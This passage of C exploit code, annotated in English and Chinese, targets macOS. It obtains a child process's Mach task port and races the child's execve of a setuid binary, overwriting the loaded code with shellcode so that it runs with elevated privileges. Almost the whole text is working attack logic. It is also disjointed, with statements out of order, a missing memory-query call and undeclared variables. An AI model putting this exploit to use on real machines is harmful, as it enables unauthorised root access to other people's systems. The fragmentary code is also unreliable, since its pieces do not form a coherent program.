if (err != KERN_SUCCESS) { mach_error("child unable to send thread port message", err); return; }
// wait for a reply to ack that the other end got our thread port // 等待父进程回复 ack_msg_recv_t reply = {0}; err = mach_msg(&reply.header, MACH_RCV_MSG, 0, sizeof(reply), reply_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (err != KERN_SUCCESS) { mach_error("child unable to receive ack", err); return; }
// generate the page we want to write into the child: // 申请一页内存,并且会将这一页内存写入子进程 mach_vm_address_t addr = 0; err = mach_vm_allocate(mach_task_self(), &addr, 4096, VM_FLAGS_ANYWHERE);
if (err != KERN_SUCCESS) { mach_error("failed to mach_vm_allocate memory", err); return; }
//将0x153c处的写入shellcode FILE* f = fopen(suid_binary_path, "r"); fseek(f, 0x1000, SEEK_SET);
// wait to get the child's task port on the service port: // 等待子进程发送过来的port task_msg_recv_t msg = {0}; err = mach_msg(&msg.header, MACH_RCV_MSG, 0, sizeof(msg), service_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
if (err != KERN_SUCCESS) { mach_error("error receiving service message", err); return; }
mach_port_t target_task_port = msg.port.name;
// before we ack the task port message to signal that the other process should execve the suid // binary get the lowest mapped address: // 立刻获取内存的信息 struct vm_region_basic_info_64 region; mach_msg_type_number_t region_count = VM_REGION_BASIC_INFO_COUNT_64; memory_object_name_t object_name = MACH_PORT_NULL; /* unused */
ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); ack.header.msgh_size = sizeof(ack); ack.header.msgh_local_port = MACH_PORT_NULL; ack.header.msgh_remote_port = msg.header.msgh_remote_port; ack.header.msgh_bits = MACH_MSGH_BITS(reply_port_rights, 0); // use the same rights we got
mach_vm_address_t target_first_addr = 0x0; for (;;) { // wait until we see that the map has been swapped and the binary is loaded into it: // 不断的循环去获取内存的信息 region_count = VM_REGION_BASIC_INFO_COUNT_64; object_name = MACH_PORT_NULL; /* unused */ target_first_size = 0x1000; target_first_addr = 0x0;
if (target_first_addr != original_first_addr && target_first_addr < 0x200000000) { // the first address has changed implying that the map was swapped // let's try to win the race // 当发现获取到的内存信息与之前的不同 // 说明竞争的窗口打开了 // 可以尝试去写入shellcode了 break; }
printf("hopefully overwrote some code in the target...\n"); printf("the target first addr changed to %zx\n", target_first_addr); //子进程窗口关闭后内存已经被改写,正常执行到entry时,将执行shellcode。 }